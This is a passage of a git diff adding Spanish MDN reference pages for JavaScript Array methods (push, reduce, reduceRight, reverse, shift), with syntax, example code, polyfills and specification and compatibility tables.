+   <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p>Se agregaron los métodos <code>copyWithin()</code>, <code>fill()</code>, <code>entries()</code>, <code>keys()</code>, <code>values()</code>, <code>find()</code>, <code>findIndex()</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Se agregó el método <code>includes()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.prototype")}}</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/push/index.html b/files/es/web/javascript/referencia/objetos_globales/array/push/index.html
new file mode 100644
index 0000000000..fc00ce7e7a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/push/index.html
@@ -0,0 +1,140 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/push
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>push()</strong></code> añade uno o más elementos al final de un array y devuelve la nueva longitud del array.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-push.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.push(<var>element1</var>[, ...[, <var>elementN</var>]])</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Los elementos a añadir al final del array.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>La nueva propiedad {{jsxref("Array.length", "length")}} del objeto sobre el cual se efectuó la llamada.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El método <code>push</code> es muy práctico para añadir valores a un array.</p>
+
+<p><code>push</code> es genérico intencionadamente. Este método puede ser {{jsxref("Function.call", "call()")}} o {{jsxref("Function.apply", "apply()")}} a objetos que representen arrays. El método <code>push</code> depende de la propiedad <code>length</code> para decidir donde empezar a insertar los valores dados. Si el valor de la propiedad <code>length</code> no puede ser convertido en numérico, el índice 0 es usado. Esto permite la posibilidad de que la propiedad <code>length</code> sea inexistente, y en este caso <code>length</code> será creado.</p>
+
+<p>Los únicos objetos nativos que se asemejen al array son {{jsxref("Global_Objects/String", "strings", "", 1)}} objetos, aunque estos no se puedan usar en la aplicación de este método ya que son inmutables.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Ejemplo: Añadiendo elementos a un array" name="Ejemplo: Añadiendo elementos a un array">Ejemplo: Añadiendo elementos a un array</h3>
+
+<p>El siguiente código crea el array <code>sports</code> que contiene dos elementos, luego añade 2 elementos más. Tras ejecutar el código, <code>sports</code> contiene 4 elementos: "soccer", "baseball", "football" and "swimming".</p>
+
+<pre class="brush: js">var sports = ['soccer', 'baseball'];
+var total = sports.push('football', 'swimming');
+
+console.log(sports); // ['soccer', 'baseball', 'football', 'swimming']
+console.log(total);  // 4
+</pre>
+
+<h3 id="Uniendo_dos_arrays">Uniendo dos arrays</h3>
+
+<p>This example uses {{jsxref("Function.apply", "apply()")}} to push all elements from a second array.</p>
+
+<p>Do <em>not</em> use this method if the second array (<code>moreVegs</code> in the example) is very large, because the maximum number of parameters that one function can take is limited in practice. See {{jsxref("Function.apply", "apply()")}} for more details.</p>
+
+<pre class="brush: js">var vegetables = ['parsnip', 'potato'];
+var moreVegs = ['celery', 'beetroot'];
+
+// Merge the second array into the first one
+// Equivalent to vegetables.push('celery', 'beetroot');
+Array.prototype.push.apply(vegetables, moreVegs);
+
+console.log(vegetables); // ['parsnip', 'potato', 'celery', 'beetroot']
+</pre>
+
+<h3 id="Using_an_object_in_an_array-like_fashion">Using an object in an array-like fashion</h3>
+
+<p>Como se menciona anteriormente, <code>push</code> es intencionadamente genérico, y podemos usar eso a nuestro favor. <code>Array.prototype.push</code> puede funcionar bien con un objeto, como muestra este ejemplo. Ten en cuenta que no se crea un array para almacenar una colección de objetos. En su lugar, almacenamos la colección en el propio objeto y se utiliza el método <code>call</code> sobre <code>Array.prototype.push</code> para hacer creer al método que estamos tratando a un array, y simplemente funciona, gracias a la forma en que JavaScript nos permite establecer el contexto de la ejecución.</p>
+
+<pre class="brush: js">var obj = {
+    length: 0,
+
+    addElem: function addElem(elem) {
+        // obj.length is automatically incremented
+        // every time an element is added.
+        [].push.call(this, elem);
+    }
+};
+
+// Let's add some empty objects just to illustrate.
+obj.addElem({});
+obj.addElem({});
+console.log(obj.length);
+// → 2
+</pre>
+
+<p>Tenga en cuenta que aunque <code>obj</code> no es un array, el método <code>push</code> ha incrementado satisfactoriamente la propiedad <code>length</code> de <code>obj</code> tal y como si se tratara de un array.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+</div>
+
+<h2 id="Ver también" name="Ver también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/reduce/index.html b/files/es/web/javascript/referencia/objetos_globales/array/reduce/index.html
new file mode 100644
index 0000000000..68d7a9cb2f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/reduce/index.html
@@ -0,0 +1,215 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/reduce
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Prototype
+  - Reduce
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>reduce()</strong></code> ejecuta una función <strong>reductora</strong> sobre cada elemento de un array, devolviendo como resultado un único valor.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+<p>La función <strong>reductora</strong> recibe cuatro argumentos:</p>
+
+<ol>
+ <li>Acumulador (<code><em>acc</em></code>)</li>
+ <li>Valor Actual (<code><em>cur</em></code>)</li>
+ <li>Índice Actual (<em><code>idx</code></em>)</li>
+ <li>Array (<em><code>src</code></em>)</li>
+</ol>
+
+<p>El valor devuelto de la función <strong>reductora</strong> se asigna al acumulador, cuyo valor se recuerda en cada iteración de la matriz y, en última instancia, se convierte en el valor final, único y resultante.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr.reduce(callback(acumulador, valorActual[, índice[, array]])[, valorInicial])</var></pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función a ejecutar sobre cada elemento del array (excepto para el primero, si no se proporciona <code>valorInicial</code>), que recibe cuatro parámetros:
+ <dl>
+  <dt><code>acumulador</code></dt>
+  <dd>El acumulador acumula el valor devuelto por la función callback. Es el valor acumulado devuelto en la última invocación de callback, o el <code>valorInicial</code>, si se proveyó. (Ver a continuación).</dd>
+  <dt><code>valorActual</code></dt>
+  <dd>El elemento actual que está siendo procesado en el array.</dd>
+  <dt><code>índice</code> {{optional_inline}}</dt>
+  <dd>El índice del elemento actual que está siendo procesado en el array. Empieza desde el índice 0 si se provee <code>valorInicial</code>. En caso contrario, comienza desde el índice 1.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>El array sobre el cual se llamó el método <code>reduce()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>valorInicial</code> {{optional_inline}}</dt>
+ <dd>Un valor a usar como primer argumento en la primera llamada de la función <em><code>callback</code></em>. Si no se proporciona el <em><code>valorInicial</code></em>, el primer elemento del array será utilizado y saltado. Llamando a <code>reduce()</code> sobre un array vacío sin un <em><code>valorInicial</code></em> lanzará un {{jsxref("TypeError")}}.</dd>
+</dl>
+
+<h2 id="Descripción" name="Descripción">Descripción</h2>
+
+<p>El método <code>reduce()</code> ejecuta <code>callback</code> una vez por cada elemento presente en el array, excluyendo los huecos del mismo, recibe cuatro argumentos:</p>
+
+<ul>
+ <li><code>valorAnterior</code></li>
+ <li><code>valorActual</code></li>
+ <li><code>indiceActual</code></li>
+ <li><code>array</code></li>
+</ul>
+
+<p>La primera vez que se llama la función, <code>valorAnterior</code> y <code>valorActual</code> pueden tener uno de dos valores. Si se proveyó un <code>valorInicial</code> al llamar a <code>reduce</code>, entonces <code>valorAnterior</code> será igual al <code>valorInicial</code> y <code>valorActual</code> será igual al primer elemento del array. Si no se proveyó un <code>valorInicial</code>, entonces <code>valorAnterior</code> será igual al primer valor en el <code>array</code> y <code>valorActual</code> será el segundo.</p>
+
+<p>Si el <code>array</code> está vacío y no se proveyó un <code>valorInicial</code> lanzará un {{jsxref("Global_Objects/TypeError", "TypeError")}}. Si el <code>array</code> tiene un sólo elemento (sin importar la posición) y no se proveyó un <code>valorInicial</code>, o si se proveyó un <code>valorInicial</code> pero el arreglo está vacío, se retornará ese único valor sin llamar a la <code>función</code>.</p>
+
+<p>Suponga que ocurre el siguiente uso de <code>reduce</code>:</p>
+
+<pre class="brush: js">[0,1,2,3,4].reduce(function(valorAnterior, valorActual, indice, vector){
+  return valorAnterior + valorActual;
+});
+
+// Primera llamada
+valorAnterior = 0, valorActual = 1, indice = 1
+
+// Segunda llamada
+valorAnterior = 1, valorActual = 2, indice = 2
+
+// Tercera llamada
+valorAnterior = 3, valorActual = 3, indice = 3
+
+// Cuarta llamada
+valorAnterior = 6, valorActual = 4, indice = 4
+
+// el <code>array</code> sobre el que se llama a reduce siempre es el objeto [0,1,2,3,4]
+
+// Valor Devuelto: 10
+</pre>
+
+<p>Y si proporcionas un <code>valorInicial</code>, el resultado sería como este:</p>
+
+<pre class="brush: js">[0,1,2,3,4].reduce(function(valorAnterior, valorActual, indice, vector){
+  return valorAnterior + valorActual;
+}, 10);
+
+// Primera llamada
+valorAnterior = 10, valorActual = 0, indice = 0
+
+// Segunda llamada
+valorAnterior = 10, valorActual = 1, indice = 1
+
+// Tercera llamada
+valorAnterior = 11, valorActual = 2, indice = 2
+
+// Cuarta llamada
+valorAnterior = 13, valorActual = 3, indice = 3
+
+// Quinta llamada
+valorAnterior = 16, valorActual = 4, indice = 4
+
+// el <code>array</code> sobre el que se llama a reduce siempre es el objeto [0,1,2,3,4]
+
+// Valor Devuelto: 20
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<div class="note">
+<p><strong>Polyfill</strong> se refiere a unas líneas de código o un plugin que permite "tener"  (en realidad se simulan de alguna otra manera) las nuevas funcionalidades   de HTML5 en aquellos navegadores que nativamente no lo soportan. Consigue que, en adelante, el código sea transparente para el programador, como si el navegador soportase la funcionalidad nativamente.</p>
+</div>
+
+<p><code>reduce</code> es una extensión de JavaScript al estándar ECMA-262; como tal puede que no esté presente en otras implementaciones del estándar. Puedes trabajar con ésto insertando el siguiente código al comienzo de tus scripts, permitiendo el uso de <code>reduce</code> en implementaciones de ECMA-262 que no lo implementan de modo nativo. Este algoritmo es exactamente el mismo usando en Firefox y SpiderMonkey.</p>
+
+<pre class="brush: js">if (!Array.prototype.reduce)
+{
+  Array.prototype.reduce = function(fun /*, inicial*/)
+  {
+    var longitud = this.length;
+    if (typeof fun != "function")
+      throw new TypeError();
+
+    // no se devuelve ningún valor si no hay valor inicial y el array está vacío
+    if (longitud == 0 &amp;&amp; arguments.length == 1)
+      throw new TypeError();
+
+    var indice = 0;
+    if (arguments.length &gt;= 2)
+    {
+      var rv = arguments[1];
+    }
+    else
+    {
+      do
+      {
+        if (indice in this)
+        {
+          rv = this[indice++];
+          break;
+        }
+
+        // si el array no contiene valores, no existe valor inicial a devolver
+        if (++indice &gt;= longitud)
+          throw new TypeError();
+      }
+      while (true);
+    }
+
+    for (; indice &lt; longitud; indice++)
+    {
+      if (indice in this)
+        rv = fun.call(null, rv, this[indice], indice, this);
+    }
+
+    return rv;
+  };
+}
+</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Resumir_todos_los_valores_de_un_array" name="Ejemplo:_Resumir_todos_los_valores_de_un_array">Ejemplo: Sumar todos los valores de un <code>array</code></h3>
+
+<pre class="brush: js">var total = [0, 1, 2, 3].reduce(function(a, b){ return a + b; });
+// total == 6
+</pre>
+
+<h3 id="Ejemplo_Integrar_un_array_a_partir_de_varios_arrays" name="Ejemplo:_Integrar_un_array_a_partir_de_varios_arrays">Ejemplo: Integrar un <code>array</code> a partir de varios <code>arrays</code></h3>
+
+<pre class="brush: js">var integrado = [[0,1], [2,3], [4,5]].reduce(function(a,b) {
+  return a.concat(b);
+});
+// integrado es [0, 1, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/reduceright/index.html b/files/es/web/javascript/referencia/objetos_globales/array/reduceright/index.html
new file mode 100644
index 0000000000..cff59fddf4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/reduceright/index.html
@@ -0,0 +1,166 @@
+---
+title: Array.prototype.reduceRight()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/reduceRight
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+---
+<div>{{JSRef("Objetos_globales", "Array")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Aplica una función simultáneamente contra un acumulador y cada elemento de un array (de derecha a izquierda) para reducirlo a un único valor.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval"><i>array</i>.reduceRight(
+<i>funcion</i>[,
+<i>valorInicial</i>])
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función a ejecutar para cada valor del array.</dd>
+ <dt><code>initialValue</code></dt>
+ <dd>Objeto a usar como primer argumento en la primera llamada de la <code>funcion</code>.</dd>
+</dl>
+
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+
+<p><code>reduceRight</code> ejecuta la <code>funcion</code> una vez para cada elemento presente en el array, excluyendo los huecos del mismo, recibiendo cuatro argumentos: el valor inicial (o valor de la llamada previa de <code>funcion</code>), el valor del elemento actual, el índice actual y el array sobre el que ocurre la iteración.</p>
+
+<p>La llamada a la <code>funcion</code> de reduceRight sería similar a esto:</p>
+
+<pre class="brush: js">.reduceRight(function(valorPrevio, valorActual, indice, array){
+  // ...
+})
+</pre>
+
+<p>La primera vez que se llama a la función, el <code>valorPrevio</code> y el <code>valorActual</code> puede ser uno de los dos valores. Si se incluye un <code>valorInicial</code> en la llamada a <code>reduceRight</code>, entonces el <code>valorPrevio</code> será igual al <code>valorInicial</code> y el <code>valorActual</code> será igual al último valor del array. Si no se incluye ningún <code>valorInicial</code>, entonces el <code>valorPrevio</code> será igual al último valor del array y el <code>valorActual</code> será igual al penúltimo valor.</p>
+
+<p>Algún ejemplo de la ejecución de la función paso a paso sería similar a esto:</p>
+
+<pre class="brush: js">[0,1,2,3,4].reduceRight(function(valorPrevio, valorActual, indice, array){
+  return valorPrevio + valorActual;
+});
+
+// First call
+valorPrevio = 4, valorActual = 3, indice = 3
+
+// Second call
+valorPrevio = 7, valorActual = 2, indice = 2
+
+// Third call
+valorPrevio = 9, valorActual = 1, indice = 1
+
+// Fourth call
+valorPrevio = 10, valorActual = 0, indice = 0
+
+// el array sobre el que se llama a reduceRight siempre es el objeto [0,1,2,3,4]
+
+// Valor Devuelto: 10
+</pre>
+
+<p>Y si proporcionas un <code>valorInicial</code>, el resultado sería como este:</p>
+
+<pre class="brush: js">[0,1,2,3,4].reduceRight(function(valorPrevio, valorActual, indice, array){
+  return valorPrevio + currentValue;
+}, 10);
+
+// Primera llamada
+valorPrevio = 10, valorActual = 4, indice = 4
+
+// Segunda llamada
+valorPrevio = 14, valorActual = 3, indice = 3
+
+// Tercera llamada
+valorPrevio = 17, valorActual = 2, indice = 2
+
+// Cuarta llamada
+valorPrevio = 19, valorActual = 1, indice = 1
+
+// Quinta llamada
+valorPrevio = 20, valorActual = 0, indice = 0
+
+// el array sobre el que se llama a reduce siempre es el objeto [0,1,2,3,4]
+
+// Valor Devuelto: 20
+</pre>
+
+<h2 id="Compatibilidad" name="Compatibilidad">Compatibilidad</h2>
+
+<p><code>reduceRight</code> es una extensión de JavaScript al estándar ECMA-262; como tal puede que no esté presente en otras implementaciones del estándar. Puedes trabajar con ésto insertando el siguiente código al comienzo de tus scripts, permitiendo el uso de <code>reduceRight</code> en implementaciones de ECMA-262 que no lo implementan de modo nativo. Este algoritmo es exactamente el mismo usando en Firefox y SpiderMonkey.</p>
+
+<pre class="brush: js">if (!Array.prototype.reduceRight)
+{
+  Array.prototype.reduceRight = function(fun /*, inicial*/)
+  {
+    var longitud = this.length;
+    if (typeof fun != "function")
+      throw new TypeError();
+
+    // no se devuelve ningún valor si no hay valor inicial y el array está vacío
+    if (longitud == 0 &amp;&amp; arguments.length == 1)
+      throw new TypeError();
+
+    var indice = longitud - 1;
+    if (arguments.length &gt;= 2)
+    {
+      var rv = arguments[1];
+    }
+    else
+    {
+      do
+      {
+        if (indice in this)
+        {
+          rv = this[indice--];
+          break;
+        }
+
+        // si el array no contiene valores, no existe valor incial a devolver
+        if (--indice &lt; 0)
+          throw new TypeError();
+      }
+      while (true);
+    }
+
+    for (; indice &gt;= 0; indice--)
+    {
+      if (indice in this)
+        rv = fun.call(null, rv, this[indice], indice, this);
+    }
+
+    return rv;
+  };
+}
+</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplos:_Resumir_todos_los_valores_de_un_array" name="Ejemplos:_Resumir_todos_los_valores_de_un_array">Ejemplos: Resumir todos los valores de un array</h3>
+
+<pre class="brush: js">var total = [0, 1, 2, 3].reduceRight(function(a, b) { return a + b; });
+// total == 6
+</pre>
+
+<h3 id="Ejemplo:_Integrar_un_array_a_partir_de_varios_arrays" name="Ejemplo:_Integrar_un_array_a_partir_de_varios_arrays">Ejemplo: Integrar un array a partir de varios arrays</h3>
+
+<pre class="brush: js">var integrado = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+  return a.concat(b);
+}, []);
+// integrado es [4, 5, 2, 3, 0, 1]
+</pre>
+
+<h2 id="V.C3.A9ase_tambi.C3.A9n" name="V.C3.A9ase_tambi.C3.A9n">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/reverse/index.html b/files/es/web/javascript/referencia/objetos_globales/array/reverse/index.html
new file mode 100644
index 0000000000..7399f8dcda
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/reverse/index.html
@@ -0,0 +1,88 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/reverse
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>reverse()</strong></code> invierte el orden de los elementos de un array <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">in place</a></em>. El primer elemento pasa a ser el último y el último pasa a ser el primero.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>a</var>.reverse()</pre>
+
+<h3 id="Valor devuelto" name="Valor devuelto">Valor devuelto</h3>
+
+<p>El array invertido.</p>
+
+<h2 id="Descripción" name="Descripción">Descripción</h2>
+
+<p>El método <code>reverse</code> cruza los elementos del objeto matriz invocados en su lugar, mutando la matriz, y retornando una referencia a la misma.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:Colocar al revés los elementos de un array" name="Ejemplo:Colocar al revés los elementos de un array">Colocar al revés los elementos de un array</h3>
+
+<p>El siguiente ejemplo crea un array <code>a</code> que contiene tres elementos y luego lo invierte.<br>
+ La llamada a <code>reverse()</code> devuelve una referencia al array <code>a</code> invertido.</p>
+
+<pre class="brush: js">const a = [1, 2, 3];
+
+console.log(a); // [1, 2, 3]
+
+a.reverse();
+
+console.log(a); // [3, 2, 1]
+
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad en navegadores" name="Compatibilidad en navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Array.reverse")}}</p>
+
+<h2 id="Ver también" name="Ver también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/shift/index.html b/files/es/web/javascript/referencia/objetos_globales/array/shift/index.html
new file mode 100644
index 0000000000..7391f6c325
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/shift/index.html
@@ -0,0 +1,124 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/shift
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>shift()</strong></code> elimina el <strong>primer</strong> elemento del array y lo retorna. Este método modifica la longitud del array.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.shift()</code></pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>shift</code> elimina el elemento en el índice cero y desplaza los valores consecutivos hacia abajo, devolviendo el valor eliminado. Si la propiedad {{jsxref("Array.length", "length")}} es 0, devuelve {{jsxref("undefined")}}.</p>
+
+<p><code>shift</code> es genérico; este método puede utilizarse con {{jsxref("Function.call", "call", "", 1)}} o {{jsxref("Function.apply", "apply", "", 1)}} a objetos simliares a arrays. Los objetos que no tengan una propiedad <code>length</code> que refleje el último elemento de una serie consecutiva de propiedades numéricas con índice base cero pueden no comportarse de manera significativa.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Eliminando_un_elemento_de_un_array">Eliminando un elemento de un array</h3>
+
+<p>El siguiente código muestra el contenido del array <code>miPescado</code> antes y después de eliminar el primer elemento. También muestra el elemento eliminado:</p>
+
+<pre class="brush: js notranslate">var miPescado = ['ángel', 'payaso', 'mandarín', 'cirujano'];
+
+console.log('miPescado antes: ' + miPescado);
+// "miPescado antes: ángel,payaso,mandarín,cirujano"
+
+var eliminado = miPescado.shift();
+
+console.log('miPescado después: ' + miPescado);
+// "miPescado after: payaso,mandarín,cirujano"
+
+console.log('Elemento eliminado: ' + eliminado);
+// "Elemento eliminado: ángel"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en Javascript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatIE("5.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/slice/index.html b/files/es/web/javascript/referencia/objetos_globales/array/slice/index.html
new file mode 100644
index 0000000000..e3ddd7e8a5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/slice/index.html
@@ -0,0 +1,287 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/slice
+tags:
+  - Arreglo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
